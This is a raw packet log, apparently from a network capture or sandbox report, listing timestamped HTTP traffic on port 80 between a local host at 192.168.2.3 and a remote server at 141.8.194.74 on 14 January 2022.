Jan 14, 2022 01:52:07.187794924 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.187838078 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.187877893 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.187918901 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.187957048 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.187997103 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188036919 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188035965 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.188090086 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188132048 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188169003 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188174963 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.188204050 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.188209057 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188242912 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.188251019 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188251972 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.188257933 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.188288927 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188328981 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188369036 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188406944 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188410044 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.188436985 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.188448906 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188484907 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188524961 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.188524961 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188565016 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188602924 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188642025 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188642979 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.188682079 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.188682079 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188723087 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188761950 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.188762903 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188801050 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188838959 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188878059 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188910007 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.188914061 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.188919067 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.189039946 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.189289093 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.189356089 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.189443111 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.189493895 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.189532995 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.189595938 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.190093994 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.190373898 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.190470934 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.190541029 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.190613031 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.190668106 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.190715075 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.190790892 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.190838099 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.190968037 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.191009998 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.191046000 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.191046000 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.191087008 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.191128969 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.191133976 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.191168070 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.191206932 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.191247940 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.191286087 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.191296101 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.191323996 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.191351891 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.191361904 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.191373110 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.191401005 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.191441059 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.191476107 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.191514969 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.191553116 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.191591978 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.191625118 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.191629887 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.191761971 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.191792011 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.191858053 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.238941908 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239011049 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239054918 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239094019 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239101887 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.239130020 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239157915 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.239170074 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239207029 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239247084 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.239248991 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239294052 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239299059 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.239336014 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239377975 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239396095 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.239419937 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239455938 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239496946 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239509106 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.239536047 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239547014 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.239576101 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239614010 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239626884 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.239655018 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239692926 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239731073 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239748001 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.239768028 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239784002 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.239805937 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239844084 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239885092 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239897966 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.239924908 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239936113 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.239960909 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.239999056 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.240022898 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.240037918 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.242429972 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.264216900 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.264266014 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.264302969 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.264342070 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.264367104 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.264379978 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.264420033 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.264440060 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.264462948 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.264468908 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.264501095 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.264540911 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.264554024 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.264580011 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.264619112 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.264657021 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.264677048 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.264695883 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.264717102 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.264743090 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.264784098 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.264821053 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.264836073 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.264861107 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.264873028 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.264919043 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.264954090 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.264978886 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.265021086 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.265044928 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.265093088 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.265137911 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.265151978 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.265180111 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.265187025 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.265218019 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.265259027 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.265297890 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.265312910 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.265333891 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.265350103 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.265372992 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.265410900 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.265440941 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.265450001 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.265490055 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.265526056 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.265548944 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.265566111 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.265579939 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.265605927 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.265655994 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.266072035 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.266109943 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.266149998 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.266170979 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.266189098 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.266412973 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.266455889 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.266469002 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.266494036 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.266504049 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.266531944 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.266571999 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.266586065 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.266609907 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.266649961 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.266689062 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.266710997 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.266729116 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.266746044 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.266767979 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.266803980 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.266841888 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.266856909 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.266880035 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.266891003 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.266920090 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.266957998 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.266968966 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.266995907 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.267034054 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.267072916 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.267086983 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.267110109 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.267126083 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.267148018 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.267184973 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.267196894 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.267245054 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.267322063 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.277579069 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.315036058 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315099955 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315130949 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315170050 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315208912 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315226078 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.315251112 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315282106 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.315290928 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315311909 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.315326929 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315368891 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315387011 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.315406084 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315448046 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315489054 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315495014 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.315526962 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315550089 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.315566063 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315604925 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315642118 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315675020 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.315680027 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315717936 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315721989 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.315757036 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315778971 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.315797091 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315833092 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315871000 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315890074 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.315910101 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315931082 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.315944910 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315984011 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.315994978 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.316021919 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.316061020 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.316099882 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.316113949 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.316157103 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.317279100 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.317320108 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.317394972 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.340502977 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.340569019 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.340607882 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.340647936 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.340672970 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.340689898 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.340713024 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.340730906 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.340771914 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.340807915 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.340831995 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.340847015 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.340862036 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.340887070 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.340924025 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.340962887 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.340981007 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.341001034 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341038942 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341053963 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.341078997 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341114998 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341133118 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.341154099 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341166973 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.341192961 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341229916 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341270924 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341294050 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.341308117 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341335058 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.341346979 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341387033 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341423035 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341451883 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.341460943 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341489077 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.341500044 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341543913 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341581106 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341593981 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.341619015 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341658115 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341671944 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.341696978 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341711998 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.341732979 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341773987 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341787100 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.341813087 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341866970 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.341876984 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341928005 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.341965914 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342005014 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342027903 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.342044115 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342060089 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.342086077 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342123032 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342160940 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342175007 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.342199087 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342236042 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342245102 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.342278957 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342317104 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342335939 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.342355967 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342360973 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.342396021 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342432022 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342453957 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.342473030 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342511892 CET	80	49922	141.8.194.74	192.168.2.3
